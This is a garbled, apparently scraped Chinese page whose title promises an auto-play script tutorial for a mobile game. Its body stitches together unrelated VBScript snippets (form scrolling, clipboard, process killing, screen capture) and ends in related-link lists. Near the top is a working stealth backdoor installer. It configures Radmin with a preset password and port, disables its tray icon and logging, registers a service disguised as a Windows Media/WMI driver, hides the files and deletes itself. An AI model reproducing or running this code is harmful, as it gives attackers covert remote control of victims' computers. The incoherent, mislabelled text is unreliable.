android脚本实现自动捉妖,一起来捉妖自动捉妖脚本使用教程ios00
程序如下:
SubForm_Load()
DimI'定义变量
bye.Show'封底出现
Unloadmenu1'卸载主菜单
al:Ifpicture1.Height<7130Then'7130为图的高度
picturel.Height=picture1.Height+50'下拉屏幕
GoToal
EndIf
ForI=1To20000'使窗体暂停一段时间
NextI
End'结束所有操作
EndSub->
onerrorresumenext
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetStdOut=WScript.StdOut
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")
strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
uBinary=Array(1,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码
uBinary=Array(5,4,0,0)//端口:1029
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
uBinary=Array(10,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
strValueName="LogFilePath"
strValue="c:\logfile.txt"
setwshshell=createobject("wscript.shell")
a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"
strValueName="Description"
strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="DisplayName"
strValue="WindowsManagementInstrumentationPlayerDrivers"
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="ImagePath"
strValue="c:\windows\system32\Exporer.exe/service"
oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
setwshshell=createobject("wscript.shell")
a=wshshell.run("netstartWinManageHelp",0)
b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)
c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)
d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除
第一个页面:
Sub Hello()
Document.All.myScriptlet.Hello
End Sub
TYPE="text/x-scriptlet"
DATA="2.htm"
HEIGHT="0" WIDTH="0">
2.htm里的源码:
Sub public_Hello()
MsgBox "Hello World!"
End Sub
PassWord=PassWord&Mid(PWstr,i,1)
Nexti
Text1.Text=PassWord'在文本框内显示密码
Sub CopyString(s)
Set forms=WScript.CreateObject("forms.form.1")
Set textbox=forms.Controls.Add("forms.textbox.1").Object
With textbox
.multiline=True
.text=s
.selstart=0
.sellength=Len(.text)
.copy
End With
End Sub
CopyString "脚本之家 "
msgbox "ok"
如木马、端口扫描器、客户端工具、CGI漏洞扫描器……
set fso=createobject("scripting.filesystemobject") : name=1
Dim na
na=Inputbox("请输入拓展名:","拓展名","txt")
while fso.fileexists(name&"."&na)=true
name=name+1
wend
set o=fso.opentextfile(name&"."&na,2,true)
set hf=Createobject("htmlfile")
wind=hf.parentwindow.clipboarddata.getdata("text")
o.writeline wind : o.close
createobject("wscript.shell").exec "notepad.exe "&name&"."&na&""
问题已经描述清楚了
OnErrorResumeNext
'vbs代码开始----------------------------------------------
subClose_Process(ProcessName)
OnErrorResumeNext
foreachpsingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_'循环进程
ifUcase(ps.name)=Ucase(ProcessName)then
ps.terminate
endif
next
endsub
Close_Process("notepad.exe")
回调中断最简单的一个思路是将整屏画面抓到两个一样的窗体中交替连续地滚动出现,在上述程序的基础上修改如下:
form2?Top=-Screen?Henght
′将form2紧接form1的顶部放置
rc%=BitBlt%(form2?hDC,0,0,form2?ScaleWidth,form2?ScaleHeight,ScreenDC%,0,0,&HCC0020)
′增加此句,将整屏抓到form2中
WhileTrue
form2?Top=form2?Top+500
Ifform2?Top<0Then
form1?Top=form2?Top+Screen?Height
′form1在form2下面
Else
form1?Top=form2?Top-Screen?Height
′form1在form2上面
EndIf
Ifform2?Top>Screen?HeightThen
form2?Top=-Screeen?Height
′form2超出下界时回到最上面
Eenif
DoEvents
Wend->
'VBS校准系统时间 BY BatMan
Dim objXML, Url, Message
Message="恭喜你,本机时间非常准确无需校对。
android脚本实现自动捉妖,一起来捉妖自动捉妖脚本使用教程ios00相关推荐
- android脚本实现自动捉妖,一起来捉妖自动行走辅助怎么用 自动行走辅助详解[多图]...
一起来捉妖中行走是非常重要的,很多地方都需要玩家们多行走才能玩,接下来安族小编带大家来看一下自动行走辅助详解. 一起来捉妖自动行走辅助工具 1.下载一起来捉妖辅助"飞机助手"APP ...
- 安卓自动滑屏脚本_自动滑屏软件下载-自动滑屏 安卓版v3.1.0-PC6安卓网
自动滑屏脚本是一款特别神奇的安卓手机美化型实用工具.自动滑屏软件拥能支持自定义编辑代码脚本,通过自动滑屏app可以让大家的手机体验度得到很大程度改进,使用起来更顺手! 软件介绍 自动滑屏脚本是一款不需 ...
- Android自动化测试之MonkeyRunner MonkeyDevice MonkeyImage API使用详解 脚本编写 脚本录制回放
MonkeyRunner 系列文章 MonkeyRunner简介 MonkeyRunner 三大模块 MonkeyRunner API MonkeyDevice API MonkeyImage API ...
- airtest+poco多脚本、多设备批处理运行测试用例自动生成测试报告
一:主要内容 框架功能.框架架构及测试报告效果 airtest安装.环境搭建 框架搭建.框架运行说明 框架源码 二:框架功能及测试报告效果 1. 框架功能: 该框架笔者用来作为公司的项目的前端自动化, ...
- android su 没有权限,android - 无法在需要SU权限的Termux中执行脚本 - 堆栈内存溢出...
因此,我通常不发布信息,而是花费数小时在论坛上拖网寻找答案-但我完全不知所措. 我想做的事: 真的很简单,我想要一个可以自动更改OnePlus 5上MAC地址的脚本,我已经拥有执行此命令所需的所有命令 ...
- Windows Server下DB2自动备份、复原和前滚的脚本编程
最近在参与负责某线上MySQL项目时,客户要求实现MySQL数据库备份.复原和前滚的全流程自动化. 在RHEL下使用Perl语言编写脚本结合CRON指令来共同实现MySQL数据库备份.复原和前滚流程的 ...
- android 学习笔记(八)building system8.5 shell脚本的学习
虽然接触她很久了,但只能说认识,.说道很熟,熟到称兄道弟,这是我的目标.想要混熟总得经历些事情,那么现在开始吧.最近在学习android,还是从android开始吧! android源码中的build ...
- 【Android NDK 开发】Android Studio 使用 CMake 导入静态库 ( CMake 简介 | 构建脚本路径配置 | 引入静态库 | 指定静态库路径 | 链接动态库 )
文章目录 I . CMake 简介 II . Android Studio 中 CMake 引入静态库流程 III . 指定 CMake 最小版本号 IV . 导入函数库 ( 静态库 / 动态库 ) ...
- 【Android NDK 开发】Android Studio 的 NDK 配置 ( 源码编译配置 | 构建脚本配置 | 打包配置 | CMake 配置 | ndkBuild 配置 )
文章目录 I . 源码编译配置 II . 构建脚本配置 III . NDK 函数库打包配置 IV . Java 与 C 代码示例 V . CMake 配置 ( CMakeLists.txt ) VI ...
- windows制作定时关机脚本_自动关机、自动打开程序… 让Windows自动执行任何操作...
文章转载于网络,侵删 Windows 中有一个非常棒的功能,叫做"任务计划程序",但是因为它的界面看起来有点复杂,导致很少有人使用它. 其实对于任何人而言,"任务计划程序 ...
最新文章
- 20、C#里面方法的创建和显示
- TensorFlow MNIST最佳实践
- java exec 调用vbs_通过java调用VBS,再用VBS执行Excel中的宏的例子 | 学步园
- zongzi tutorial
- linux lib lib64 区别,lib,lib32,lib64,libx32和libexec之间的区别
- 接口应用练习题(用接口的方式实现某网上商城的网上支付功能)
- MYSQL AND OR的联用
- CS224n-week1-课程导学
- Ionic Cordova 环境配置window
- 【Angular专题】 (3)装饰器decorator,一块语法糖
- Python组合数据类型:序列sequence,列表list、元组tuple
- HTTP请求中,几种常见的Content-Type类型
- Window10上使用Git与Github远程仓库互连
- linux 重启mysql_Grafana+Prometheus 监控 MySql服务
- scrapy 保存html页面,28.用配合scrapy的方式爬取本地保存的html
- 基于R语言的贝叶斯网络模型的实践技术
- 摩尔庄园服务器维护,《摩尔庄园》6月11日维护公告
- JAMF的NetBoot/SUS Appliance
- C Primer Plus 第十四章学习总结……2015.5.17
- 蓝桥杯【学做菜】Java